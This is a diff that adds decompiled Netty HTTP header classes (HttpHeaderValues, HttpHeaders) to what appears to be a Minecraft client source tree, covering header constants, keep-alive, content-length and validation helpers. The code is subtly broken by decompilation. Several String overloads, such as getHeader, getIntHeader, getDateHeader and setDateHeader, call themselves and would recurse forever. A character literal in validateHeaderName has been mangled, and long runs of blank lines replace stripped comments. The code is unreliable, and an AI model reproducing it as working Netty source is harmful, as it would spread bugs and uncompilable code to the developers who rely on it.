+  public static final AsciiString BASE64 = new AsciiString("base64");
+  
+
+
+  public static final AsciiString BINARY = new AsciiString("binary");
+  
+
+
+  public static final AsciiString BOUNDARY = new AsciiString("boundary");
+  
+
+
+  public static final AsciiString BYTES = new AsciiString("bytes");
+  
+
+
+  public static final AsciiString CHARSET = new AsciiString("charset");
+  
+
+
+  public static final AsciiString CHUNKED = new AsciiString("chunked");
+  
+
+
+  public static final AsciiString CLOSE = new AsciiString("close");
+  
+
+
+  public static final AsciiString COMPRESS = new AsciiString("compress");
+  
+
+
+  public static final AsciiString CONTINUE = new AsciiString("100-continue");
+  
+
+
+  public static final AsciiString DEFLATE = new AsciiString("deflate");
+  
+
+
+  public static final AsciiString X_DEFLATE = new AsciiString("x-deflate");
+  
+
+
+
+  public static final AsciiString FILE = new AsciiString("file");
+  
+
+
+
+  public static final AsciiString FILENAME = new AsciiString("filename");
+  
+
+
+
+  public static final AsciiString FORM_DATA = new AsciiString("form-data");
+  
+
+
+  public static final AsciiString GZIP = new AsciiString("gzip");
+  
+
+
+  public static final AsciiString GZIP_DEFLATE = new AsciiString("gzip,deflate");
+  
+
+
+  public static final AsciiString X_GZIP = new AsciiString("x-gzip");
+  
+
+
+  public static final AsciiString IDENTITY = new AsciiString("identity");
+  
+
+
+  public static final AsciiString KEEP_ALIVE = new AsciiString("keep-alive");
+  
+
+
+  public static final AsciiString MAX_AGE = new AsciiString("max-age");
+  
+
+
+  public static final AsciiString MAX_STALE = new AsciiString("max-stale");
+  
+
+
+  public static final AsciiString MIN_FRESH = new AsciiString("min-fresh");
+  
+
+
+  public static final AsciiString MULTIPART_FORM_DATA = new AsciiString("multipart/form-data");
+  
+
+
+  public static final AsciiString MULTIPART_MIXED = new AsciiString("multipart/mixed");
+  
+
+
+  public static final AsciiString MUST_REVALIDATE = new AsciiString("must-revalidate");
+  
+
+
+
+  public static final AsciiString NAME = new AsciiString("name");
+  
+
+
+  public static final AsciiString NO_CACHE = new AsciiString("no-cache");
+  
+
+
+  public static final AsciiString NO_STORE = new AsciiString("no-store");
+  
+
+
+  public static final AsciiString NO_TRANSFORM = new AsciiString("no-transform");
+  
+
+
+  public static final AsciiString NONE = new AsciiString("none");
+  
+
+
+  public static final AsciiString ZERO = new AsciiString("0");
+  
+
+
+  public static final AsciiString ONLY_IF_CACHED = new AsciiString("only-if-cached");
+  
+
+
+  public static final AsciiString PRIVATE = new AsciiString("private");
+  
+
+
+  public static final AsciiString PROXY_REVALIDATE = new AsciiString("proxy-revalidate");
+  
+
+
+  public static final AsciiString PUBLIC = new AsciiString("public");
+  
+
+
+  public static final AsciiString QUOTED_PRINTABLE = new AsciiString("quoted-printable");
+  
+
+
+  public static final AsciiString S_MAXAGE = new AsciiString("s-maxage");
+  
+
+
+  public static final AsciiString TEXT_PLAIN = new AsciiString("text/plain");
+  
+
+
+  public static final AsciiString TRAILERS = new AsciiString("trailers");
+  
+
+
+  public static final AsciiString UPGRADE = new AsciiString("upgrade");
+  
+
+
+  public static final AsciiString WEBSOCKET = new AsciiString("websocket");
+  
+  private HttpHeaderValues() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpHeaders.java b/src/minecraft/io/netty/handler/codec/http/HttpHeaders.java
new file mode 100644
index 0000000..f43d92c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpHeaders.java
@@ -0,0 +1,1793 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import java.text.ParseException;
+import java.util.Collections;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class HttpHeaders
+  implements Iterable<Map.Entry<String, String>>
+{
+  private static final byte[] HEADER_SEPERATOR = { 58, 32 };
+  private static final byte[] CRLF = { 13, 10 };
+  private static final CharSequence CONTENT_LENGTH_ENTITY = newEntity("Content-Length");
+  private static final CharSequence CONNECTION_ENTITY = newEntity("Connection");
+  private static final CharSequence CLOSE_ENTITY = newEntity("close");
+  private static final CharSequence KEEP_ALIVE_ENTITY = newEntity("keep-alive");
+  private static final CharSequence HOST_ENTITY = newEntity("Host");
+  private static final CharSequence DATE_ENTITY = newEntity("Date");
+  private static final CharSequence EXPECT_ENTITY = newEntity("Expect");
+  private static final CharSequence CONTINUE_ENTITY = newEntity("100-continue");
+  private static final CharSequence TRANSFER_ENCODING_ENTITY = newEntity("Transfer-Encoding");
+  private static final CharSequence CHUNKED_ENTITY = newEntity("chunked");
+  private static final CharSequence SEC_WEBSOCKET_KEY1_ENTITY = newEntity("Sec-WebSocket-Key1");
+  private static final CharSequence SEC_WEBSOCKET_KEY2_ENTITY = newEntity("Sec-WebSocket-Key2");
+  private static final CharSequence SEC_WEBSOCKET_ORIGIN_ENTITY = newEntity("Sec-WebSocket-Origin");
+  private static final CharSequence SEC_WEBSOCKET_LOCATION_ENTITY = newEntity("Sec-WebSocket-Location");
+  
+  public static final HttpHeaders EMPTY_HEADERS = new HttpHeaders()
+  {
+    public String get(String name) {
+      return null;
+    }
+    
+    public List<String> getAll(String name)
+    {
+      return Collections.emptyList();
+    }
+    
+    public List<Map.Entry<String, String>> entries()
+    {
+      return Collections.emptyList();
+    }
+    
+    public boolean contains(String name)
+    {
+      return false;
+    }
+    
+    public boolean isEmpty()
+    {
+      return true;
+    }
+    
+    public Set<String> names()
+    {
+      return Collections.emptySet();
+    }
+    
+    public HttpHeaders add(String name, Object value)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public HttpHeaders add(String name, Iterable<?> values)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public HttpHeaders set(String name, Object value)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public HttpHeaders set(String name, Iterable<?> values)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public HttpHeaders remove(String name)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public HttpHeaders clear()
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public Iterator<Map.Entry<String, String>> iterator()
+    {
+      return entries().iterator();
+    }
+  };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isKeepAlive(HttpMessage message)
+  {
+    String connection = message.headers().get(CONNECTION_ENTITY);
+    if ((connection != null) && (equalsIgnoreCase(CLOSE_ENTITY, connection))) {
+      return false;
+    }
+    
+    if (message.getProtocolVersion().isKeepAliveDefault()) {
+      return !equalsIgnoreCase(CLOSE_ENTITY, connection);
+    }
+    return equalsIgnoreCase(KEEP_ALIVE_ENTITY, connection);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void setKeepAlive(HttpMessage message, boolean keepAlive)
+  {
+    HttpHeaders h = message.headers();
+    if (message.getProtocolVersion().isKeepAliveDefault()) {
+      if (keepAlive) {
+        h.remove(CONNECTION_ENTITY);
+      } else {
+        h.set(CONNECTION_ENTITY, CLOSE_ENTITY);
+      }
+    }
+    else if (keepAlive) {
+      h.set(CONNECTION_ENTITY, KEEP_ALIVE_ENTITY);
+    } else {
+      h.remove(CONNECTION_ENTITY);
+    }
+  }
+  
+
+
+
+  public static String getHeader(HttpMessage message, String name)
+  {
+    return message.headers().get(name);
+  }
+  
+
+
+
+
+
+
+  public static String getHeader(HttpMessage message, CharSequence name)
+  {
+    return message.headers().get(name);
+  }
+  
+
+
+  public static String getHeader(HttpMessage message, String name, String defaultValue)
+  {
+    return getHeader(message, name, defaultValue);
+  }
+  
+
+
+
+
+
+
+
+  public static String getHeader(HttpMessage message, CharSequence name, String defaultValue)
+  {
+    String value = message.headers().get(name);
+    if (value == null) {
+      return defaultValue;
+    }
+    return value;
+  }
+  
+
+
+  public static void setHeader(HttpMessage message, String name, Object value)
+  {
+    message.headers().set(name, value);
+  }
+  
+
+
+
+
+
+
+
+  public static void setHeader(HttpMessage message, CharSequence name, Object value)
+  {
+    message.headers().set(name, value);
+  }
+  
+
+
+
+  public static void setHeader(HttpMessage message, String name, Iterable<?> values)
+  {
+    message.headers().set(name, values);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void setHeader(HttpMessage message, CharSequence name, Iterable<?> values)
+  {
+    message.headers().set(name, values);
+  }
+  
+
+
+  public static void addHeader(HttpMessage message, String name, Object value)
+  {
+    message.headers().add(name, value);
+  }
+  
+
+
+
+
+
+
+  public static void addHeader(HttpMessage message, CharSequence name, Object value)
+  {
+    message.headers().add(name, value);
+  }
+  
+
+
+  public static void removeHeader(HttpMessage message, String name)
+  {
+    message.headers().remove(name);
+  }
+  
+
+
+  public static void removeHeader(HttpMessage message, CharSequence name)
+  {
+    message.headers().remove(name);
+  }
+  
+
+
+  public static void clearHeaders(HttpMessage message)
+  {
+    message.headers().clear();
+  }
+  
+
+
+  public static int getIntHeader(HttpMessage message, String name)
+  {
+    return getIntHeader(message, name);
+  }
+  
+
+
+
+
+
+
+
+
+  public static int getIntHeader(HttpMessage message, CharSequence name)
+  {
+    String value = getHeader(message, name);
+    if (value == null) {
+      throw new NumberFormatException("header not found: " + name);
+    }
+    return Integer.parseInt(value);
+  }
+  
+
+
+  public static int getIntHeader(HttpMessage message, String name, int defaultValue)
+  {
+    return getIntHeader(message, name, defaultValue);
+  }
+  
+
+
+
+
+
+
+
+  public static int getIntHeader(HttpMessage message, CharSequence name, int defaultValue)
+  {
+    String value = getHeader(message, name);
+    if (value == null) {
+      return defaultValue;
+    }
+    try
+    {
+      return Integer.parseInt(value);
+    } catch (NumberFormatException ignored) {}
+    return defaultValue;
+  }
+  
+
+
+
+  public static void setIntHeader(HttpMessage message, String name, int value)
+  {
+    message.headers().set(name, Integer.valueOf(value));
+  }
+  
+
+
+
+  public static void setIntHeader(HttpMessage message, CharSequence name, int value)
+  {
+    message.headers().set(name, Integer.valueOf(value));
+  }
+  
+
+
+  public static void setIntHeader(HttpMessage message, String name, Iterable<Integer> values)
+  {
+    message.headers().set(name, values);
+  }
+  
+
+
+
+  public static void setIntHeader(HttpMessage message, CharSequence name, Iterable<Integer> values)
+  {
+    message.headers().set(name, values);
+  }
+  
+
+
+
+  public static void addIntHeader(HttpMessage message, String name, int value)
+  {
+    message.headers().add(name, Integer.valueOf(value));
+  }
+  
+
+
+  public static void addIntHeader(HttpMessage message, CharSequence name, int value)
+  {
+    message.headers().add(name, Integer.valueOf(value));
+  }
+  
+
+  public static Date getDateHeader(HttpMessage message, String name)
+    throws ParseException
+  {
+    return getDateHeader(message, name);
+  }
+  
+
+
+
+
+
+
+
+  public static Date getDateHeader(HttpMessage message, CharSequence name)
+    throws ParseException
+  {
+    String value = getHeader(message, name);
+    if (value == null) {
+      throw new ParseException("header not found: " + name, 0);
+    }
+    return HttpHeaderDateFormat.get().parse(value);
+  }
+  
+
+
+  public static Date getDateHeader(HttpMessage message, String name, Date defaultValue)
+  {
+    return getDateHeader(message, name, defaultValue);
+  }
+  
+
+
+
+
+
+
+
+  public static Date getDateHeader(HttpMessage message, CharSequence name, Date defaultValue)
+  {
+    String value = getHeader(message, name);
+    if (value == null) {
+      return defaultValue;
+    }
+    try
+    {
+      return HttpHeaderDateFormat.get().parse(value);
+    } catch (ParseException ignored) {}
+    return defaultValue;
+  }
+  
+
+
+
+  public static void setDateHeader(HttpMessage message, String name, Date value)
+  {
+    setDateHeader(message, name, value);
+  }
+  
+
+
+
+
+
+  public static void setDateHeader(HttpMessage message, CharSequence name, Date value)
+  {
+    if (value != null) {
+      message.headers().set(name, HttpHeaderDateFormat.get().format(value));
+    } else {
+      message.headers().set(name, null);
+    }
+  }
+  
+
+
+  public static void setDateHeader(HttpMessage message, String name, Iterable<Date> values)
+  {
+    message.headers().set(name, values);
+  }
+  
+
+
+
+
+
+  public static void setDateHeader(HttpMessage message, CharSequence name, Iterable<Date> values)
+  {
+    message.headers().set(name, values);
+  }
+  
+
+
+  public static void addDateHeader(HttpMessage message, String name, Date value)
+  {
+    message.headers().add(name, value);
+  }
+  
+
+
+
+
+  public static void addDateHeader(HttpMessage message, CharSequence name, Date value)
+  {
+    message.headers().add(name, value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static long getContentLength(HttpMessage message)
+  {
+    String value = getHeader(message, CONTENT_LENGTH_ENTITY);
+    if (value != null) {
+      return Long.parseLong(value);
+    }
+    
+
+
+    long webSocketContentLength = getWebSocketContentLength(message);
+    if (webSocketContentLength >= 0L) {
+      return webSocketContentLength;
+    }
+    
+
+    throw new NumberFormatException("header not found: Content-Length");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static long getContentLength(HttpMessage message, long defaultValue)
+  {
+    String contentLength = message.headers().get(CONTENT_LENGTH_ENTITY);
+    if (contentLength != null) {
+      try {
+        return Long.parseLong(contentLength);
+      } catch (NumberFormatException ignored) {
+        return defaultValue;
+      }
+    }
+    
+
+
+    long webSocketContentLength = getWebSocketContentLength(message);
+    if (webSocketContentLength >= 0L) {
+      return webSocketContentLength;
+    }
+    
+
+    return defaultValue;
+  }
+  
+
+
+
+
+  private static int getWebSocketContentLength(HttpMessage message)
+  {
+    HttpHeaders h = message.headers();
+    if ((message instanceof HttpRequest)) {
+      HttpRequest req = (HttpRequest)message;
+      if ((HttpMethod.GET.equals(req.getMethod())) && (h.contains(SEC_WEBSOCKET_KEY1_ENTITY)) && (h.contains(SEC_WEBSOCKET_KEY2_ENTITY)))
+      {
+
+        return 8;
+      }
+    } else if ((message instanceof HttpResponse)) {
+      HttpResponse res = (HttpResponse)message;
+      if ((res.getStatus().code() == 101) && (h.contains(SEC_WEBSOCKET_ORIGIN_ENTITY)) && (h.contains(SEC_WEBSOCKET_LOCATION_ENTITY)))
+      {
+
+        return 16;
+      }
+    }
+    
+
+    return -1;
+  }
+  
+
+
+  public static void setContentLength(HttpMessage message, long length)
+  {
+    message.headers().set(CONTENT_LENGTH_ENTITY, Long.valueOf(length));
+  }
+  
+
+
+  public static String getHost(HttpMessage message)
+  {
+    return message.headers().get(HOST_ENTITY);
+  }
+  
+
+
+
+  public static String getHost(HttpMessage message, String defaultValue)
+  {
+    return getHeader(message, HOST_ENTITY, defaultValue);
+  }
+  
+
+
+  public static void setHost(HttpMessage message, String value)
+  {
+    message.headers().set(HOST_ENTITY, value);
+  }
+  
+
+
+  public static void setHost(HttpMessage message, CharSequence value)
+  {
+    message.headers().set(HOST_ENTITY, value);
+  }
+  
+
+
+
+
+  public static Date getDate(HttpMessage message)
+    throws ParseException
+  {
+    return getDateHeader(message, DATE_ENTITY);
+  }
+  
+
+
+
+
+  public static Date getDate(HttpMessage message, Date defaultValue)
+  {
+    return getDateHeader(message, DATE_ENTITY, defaultValue);
+  }
+  
+
+
+  public static void setDate(HttpMessage message, Date value)
+  {
+    if (value != null) {
+      message.headers().set(DATE_ENTITY, HttpHeaderDateFormat.get().format(value));
+    } else {
+      message.headers().set(DATE_ENTITY, null);
+    }
+  }
+  
+
+
+
+
+  public static boolean is100ContinueExpected(HttpMessage message)
+  {
+    if (!(message instanceof HttpRequest)) {
+      return false;
+    }
+    
+
+    if (message.getProtocolVersion().compareTo(HttpVersion.HTTP_1_1) < 0) {
+      return false;
+    }
+    
+
+    String value = message.headers().get(EXPECT_ENTITY);
+    if (value == null) {
+      return false;
+    }
+    if (equalsIgnoreCase(CONTINUE_ENTITY, value)) {
+      return true;
+    }
+    
+
+    return message.headers().contains(EXPECT_ENTITY, CONTINUE_ENTITY, true);
+  }
+  
+
+
+
+
+  public static void set100ContinueExpected(HttpMessage message)
+  {
+    set100ContinueExpected(message, true);
+  }
+  
+
+
+
+
+
+
+  public static void set100ContinueExpected(HttpMessage message, boolean set)
+  {
+    if (set) {
+      message.headers().set(EXPECT_ENTITY, CONTINUE_ENTITY);
+    } else {
+      message.headers().remove(EXPECT_ENTITY);
+    }
+  }
+  
+
+
+
+
+
+  static void validateHeaderName(CharSequence headerName)
+  {
+    if (headerName == null) {
+      throw new NullPointerException("Header names cannot be null");
+    }
+    
+    for (int index = 0; index < headerName.length(); index++)
+    {
+      char character = headerName.charAt(index);
+      
+
+      if (character > '') {
+        throw new IllegalArgumentException("Header name cannot contain non-ASCII characters: " + headerName);
+      }
+      
+
+
+      switch (character) {
+      case '\t': case '\n': case '\013': case '\f': case '\r': 
+      case ' ': case ',': case ':': case ';': case '=': 
+        throw new IllegalArgumentException("Header name cannot contain the following prohibited characters: =,;: \\t\\r\\n\\v\\f: " + headerName);
+      }
+      
+    }
+  }
+  
+
+
+
+
+
+
+  static void validateHeaderValue(CharSequence headerValue)
+  {
+    if (headerValue == null) {
+      throw new NullPointerException("Header values cannot be null");
+    }
+    
+
+
+
+
+
+
+
+
+
+    int state = 0;
+    
+
+
+    for (int index = 0; index < headerValue.length(); index++) {
+      char character = headerValue.charAt(index);
+      
+
+      switch (character) {
+      case '\013': 
+        throw new IllegalArgumentException("Header value contains a prohibited character '\\v': " + headerValue);
+      
+      case '\f': 
+        throw new IllegalArgumentException("Header value contains a prohibited character '\\f': " + headerValue);
+      }
+      
+      
+
+      switch (state) {
+      case 0: 
+        switch (character) {
+        case '\r': 
+          state = 1;
+          break;
+        case '\n': 
+          state = 2;
+        }
+        
+        break;
+      case 1: 
+        switch (character) {
+        case '\n': 
+          state = 2;
+          break;
+        default: 
+          throw new IllegalArgumentException("Only '\\n' is allowed after '\\r': " + headerValue);
+        }
+        
+        break;
+      case 2: 
+        switch (character) {
+        case '\t': case ' ': 
+          state = 0;
+          break;
+        default: 
+          throw new IllegalArgumentException("Only ' ' and '\\t' are allowed after '\\n': " + headerValue);
+        }
+        
+        break;
+      }
+    }
+    if (state != 0) {
+      throw new IllegalArgumentException("Header value must not end with '\\r' or '\\n':" + headerValue);
+    }
+  }
+  
+
+
+
+
+
+
+  public static boolean isTransferEncodingChunked(HttpMessage message)
+  {
+    return message.headers().contains(TRANSFER_ENCODING_ENTITY, CHUNKED_ENTITY, true);
+  }
+  
+  public static void removeTransferEncodingChunked(HttpMessage m) {
+    List<String> values = m.headers().getAll(TRANSFER_ENCODING_ENTITY);
+    if (values.isEmpty()) {
+      return;
+    }
+    Iterator<String> valuesIt = values.iterator();
+    while (valuesIt.hasNext()) {
+      String value = (String)valuesIt.next();
+      if (equalsIgnoreCase(value, CHUNKED_ENTITY)) {
+        valuesIt.remove();
+      }
+    }
+    if (values.isEmpty()) {
+      m.headers().remove(TRANSFER_ENCODING_ENTITY);
+    } else {
+      m.headers().set(TRANSFER_ENCODING_ENTITY, values);
+    }
+  }
+  
+  public static void setTransferEncodingChunked(HttpMessage m) {
+    addHeader(m, TRANSFER_ENCODING_ENTITY, CHUNKED_ENTITY);
+    removeHeader(m, CONTENT_LENGTH_ENTITY);
+  }
+  
+  public static boolean isContentLengthSet(HttpMessage m) {
+    return m.headers().contains(CONTENT_LENGTH_ENTITY);
+  }
+  
+
+
+
+  public static boolean equalsIgnoreCase(CharSequence name1, CharSequence name2)
+  {
+    if (name1 == name2) {
+      return true;
+    }
+    
+    if ((name1 == null) || (name2 == null)) {
+      return false;
+    }
+    
+    int nameLen = name1.length();
+    if (nameLen != name2.length()) {
+      return false;
+    }
+    
+    for (int i = nameLen - 1; i >= 0; i--) {
+      char c1 = name1.charAt(i);
+      char c2 = name2.charAt(i);
+      if (c1 != c2) {
+        if ((c1 >= 'A') && (c1 <= 'Z')) {
+          c1 = (char)(c1 + ' ');
+        }
+        if ((c2 >= 'A') && (c2 <= 'Z')) {
+          c2 = (char)(c2 + ' ');
+        }
+        if (c1 != c2) {
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+  static int hash(CharSequence name) {
+    if ((name instanceof HttpHeaderEntity)) {
+      return ((HttpHeaderEntity)name).hash();
+    }
+    int h = 0;
+    for (int i = name.length() - 1; i >= 0; i--) {
+      char c = name.charAt(i);
+      if ((c >= 'A') && (c <= 'Z')) {
+        c = (char)(c + ' ');
+      }
+      h = 31 * h + c;
+    }
+    
+    if (h > 0)
+      return h;
+    if (h == Integer.MIN_VALUE) {
+      return Integer.MAX_VALUE;
+    }
+    return -h;
+  }
+  
+  static void encode(HttpHeaders headers, ByteBuf buf)
+  {
+    if ((headers instanceof DefaultHttpHeaders)) {
+      ((DefaultHttpHeaders)headers).encode(buf);
+    } else {
+      for (Map.Entry<String, String> header : headers) {
+        encode((CharSequence)header.getKey(), (CharSequence)header.getValue(), buf);
+      }
+    }
+  }
+  
+  static void encode(CharSequence key, CharSequence value, ByteBuf buf)
+  {
+    if (!encodeAscii(key, buf)) {
+      buf.writeBytes(HEADER_SEPERATOR);
+    }
+    if (!encodeAscii(value, buf)) {
+      buf.writeBytes(CRLF);
+    }
+  }
+  
+  public static boolean encodeAscii(CharSequence seq, ByteBuf buf) {
+    if ((seq instanceof HttpHeaderEntity)) {
+      return ((HttpHeaderEntity)seq).encode(buf);
+    }
+    encodeAscii0(seq, buf);
+    return false;
+  }
+  
+  static void encodeAscii0(CharSequence seq, ByteBuf buf)
+  {
+    int length = seq.length();
+    for (int i = 0; i < length; i++) {
+      buf.writeByte((byte)seq.charAt(i));
+    }
+  }
+  
+
+
+
+  public static CharSequence newEntity(String name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    return new HttpHeaderEntity(name);
+  }
+  
+
+
+
+  public static CharSequence newNameEntity(String name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    return new HttpHeaderEntity(name, HEADER_SEPERATOR);
+  }
+  
+
+
+
+  public static CharSequence newValueEntity(String name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    return new HttpHeaderEntity(name, CRLF);
+  }
+  
+
+
+
+  protected HttpHeaders() {}
+  
+
+
+
+  public abstract String get(String paramString);
+  
+
+
+
+  public String get(CharSequence name)
+  {
+    return get(name.toString());
+  }
+  
+
+
+
+
+
+  public abstract List<String> getAll(String paramString);
+  
+
+
+
+
+  public List<String> getAll(CharSequence name)
+  {
+    return getAll(name.toString());
+  }
+  
+
+
+
+
+
+  public abstract List<Map.Entry<String, String>> entries();
+  
+
+
+
+
+  public abstract boolean contains(String paramString);
+  
+
+
+
+
+  public boolean contains(CharSequence name)
+  {
+    return contains(name.toString());
+  }
+  
+
+
+
+
+
+
+  public abstract boolean isEmpty();
+  
+
+
+
+
+
+
+  public abstract Set<String> names();
+  
+
+
+
+
+
+
+  public abstract HttpHeaders add(String paramString, Object paramObject);
+  
+
+
+
+
+
+  public HttpHeaders add(CharSequence name, Object value)
+  {
+    return add(name.toString(), value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public abstract HttpHeaders add(String paramString, Iterable<?> paramIterable);
+  
+
+
+
+
+
+
+
+
+
+  public HttpHeaders add(CharSequence name, Iterable<?> values)
+  {
+    return add(name.toString(), values);
+  }
+  
+
+
+
+
+  public HttpHeaders add(HttpHeaders headers)
+  {
+    if (headers == null) {
+      throw new NullPointerException("headers");
+    }
+    for (Map.Entry<String, String> e : headers) {
+      add((String)e.getKey(), e.getValue());
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public abstract HttpHeaders set(String paramString, Object paramObject);
+  
+
+
+
+
+
+
+
+  public HttpHeaders set(CharSequence name, Object value)
+  {
+    return set(name.toString(), value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public abstract HttpHeaders set(String paramString, Iterable<?> paramIterable);
+  
+
+
+
+
+
+
+
+
+
+
+  public HttpHeaders set(CharSequence name, Iterable<?> values)
+  {
+    return set(name.toString(), values);
+  }
+  
+
+
+
+
+  public HttpHeaders set(HttpHeaders headers)
+  {
+    if (headers == null) {
+      throw new NullPointerException("headers");
+    }
+    clear();
+    for (Map.Entry<String, String> e : headers) {
+      add((String)e.getKey(), e.getValue());
+    }
+    return this;
+  }
+  
+
+
+
+
+  public abstract HttpHeaders remove(String paramString);
+  
+
+
+
+
+  public HttpHeaders remove(CharSequence name)
+  {
+    return remove(name.toString());
+  }
+  
+
+
+
+
+  public abstract HttpHeaders clear();
+  
+
+
+
+  public boolean contains(String name, String value, boolean ignoreCaseValue)
+  {
+    List<String> values = getAll(name);
+    if (values.isEmpty()) {
+      return false;
+    }
+    
+    for (String v : values) {
+      if (ignoreCaseValue) {
+        if (equalsIgnoreCase(v, value)) {
+          return true;
+        }
+      }
+      else if (v.equals(value)) {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public boolean contains(CharSequence name, CharSequence value, boolean ignoreCaseValue)
+  {
+    return contains(name.toString(), value.toString(), ignoreCaseValue);
+  }
+  
+  public static final class Values
+  {
+    public static final String APPLICATION_X_WWW_FORM_URLENCODED = "application/x-www-form-urlencoded";
+    public static final String BASE64 = "base64";
+    public static final String BINARY = "binary";
+    public static final String BOUNDARY = "boundary";
+    public static final String BYTES = "bytes";
+    public static final String CHARSET = "charset";
+    public static final String CHUNKED = "chunked";
+    public static final String CLOSE = "close";
+    public static final String COMPRESS = "compress";
+    public static final String CONTINUE = "100-continue";
+    public static final String DEFLATE = "deflate";
+    public static final String GZIP = "gzip";
+    public static final String IDENTITY = "identity";
+    public static final String KEEP_ALIVE = "keep-alive";
+    public static final String MAX_AGE = "max-age";
+    public static final String MAX_STALE = "max-stale";
+    public static final String MIN_FRESH = "min-fresh";
+    public static final String MULTIPART_FORM_DATA = "multipart/form-data";
+    public static final String MUST_REVALIDATE = "must-revalidate";
+    public static final String NO_CACHE = "no-cache";
+    public static final String NO_STORE = "no-store";
+    public static final String NO_TRANSFORM = "no-transform";
+    public static final String NONE = "none";
+    public static final String ONLY_IF_CACHED = "only-if-cached";
+    public static final String PRIVATE = "private";
+    public static final String PROXY_REVALIDATE = "proxy-revalidate";
+    public static final String PUBLIC = "public";
+    public static final String QUOTED_PRINTABLE = "quoted-printable";
+    public static final String S_MAXAGE = "s-maxage";
+    public static final String TRAILERS = "trailers";
+    public static final String UPGRADE = "Upgrade";
+    public static final String WEBSOCKET = "WebSocket";
+    
+    private Values() {}
+  }
+  
+  public static final class Names
+  {
+    public static final String ACCEPT = "Accept";
+    public static final String ACCEPT_CHARSET = "Accept-Charset";
+    public static final String ACCEPT_ENCODING = "Accept-Encoding";
+    public static final String ACCEPT_LANGUAGE = "Accept-Language";
+    public static final String ACCEPT_RANGES = "Accept-Ranges";
+    public static final String ACCEPT_PATCH = "Accept-Patch";
+    public static final String ACCESS_CONTROL_ALLOW_CREDENTIALS = "Access-Control-Allow-Credentials";
+    public static final String ACCESS_CONTROL_ALLOW_HEADERS = "Access-Control-Allow-Headers";
+    public static final String ACCESS_CONTROL_ALLOW_METHODS = "Access-Control-Allow-Methods";
+    public static final String ACCESS_CONTROL_ALLOW_ORIGIN = "Access-Control-Allow-Origin";
+    public static final String ACCESS_CONTROL_EXPOSE_HEADERS = "Access-Control-Expose-Headers";
+    public static final String ACCESS_CONTROL_MAX_AGE = "Access-Control-Max-Age";
+    public static final String ACCESS_CONTROL_REQUEST_HEADERS = "Access-Control-Request-Headers";
+    public static final String ACCESS_CONTROL_REQUEST_METHOD = "Access-Control-Request-Method";
+    public static final String AGE = "Age";
+    public static final String ALLOW = "Allow";
+    public static final String AUTHORIZATION = "Authorization";
+    public static final String CACHE_CONTROL = "Cache-Control";
+    public static final String CONNECTION = "Connection";
+    public static final String CONTENT_BASE = "Content-Base";
+    public static final String CONTENT_ENCODING = "Content-Encoding";
+    public static final String CONTENT_LANGUAGE = "Content-Language";
+    public static final String CONTENT_LENGTH = "Content-Length";
+    public static final String CONTENT_LOCATION = "Content-Location";
+    public static final String CONTENT_TRANSFER_ENCODING = "Content-Transfer-Encoding";
+    public static final String CONTENT_MD5 = "Content-MD5";
+    public static final String CONTENT_RANGE = "Content-Range";
+    public static final String CONTENT_TYPE = "Content-Type";
+    public static final String COOKIE = "Cookie";
+    public static final String DATE = "Date";
+    public static final String ETAG = "ETag";
+    public static final String EXPECT = "Expect";
+    public static final String EXPIRES = "Expires";
+    public static final String FROM = "From";
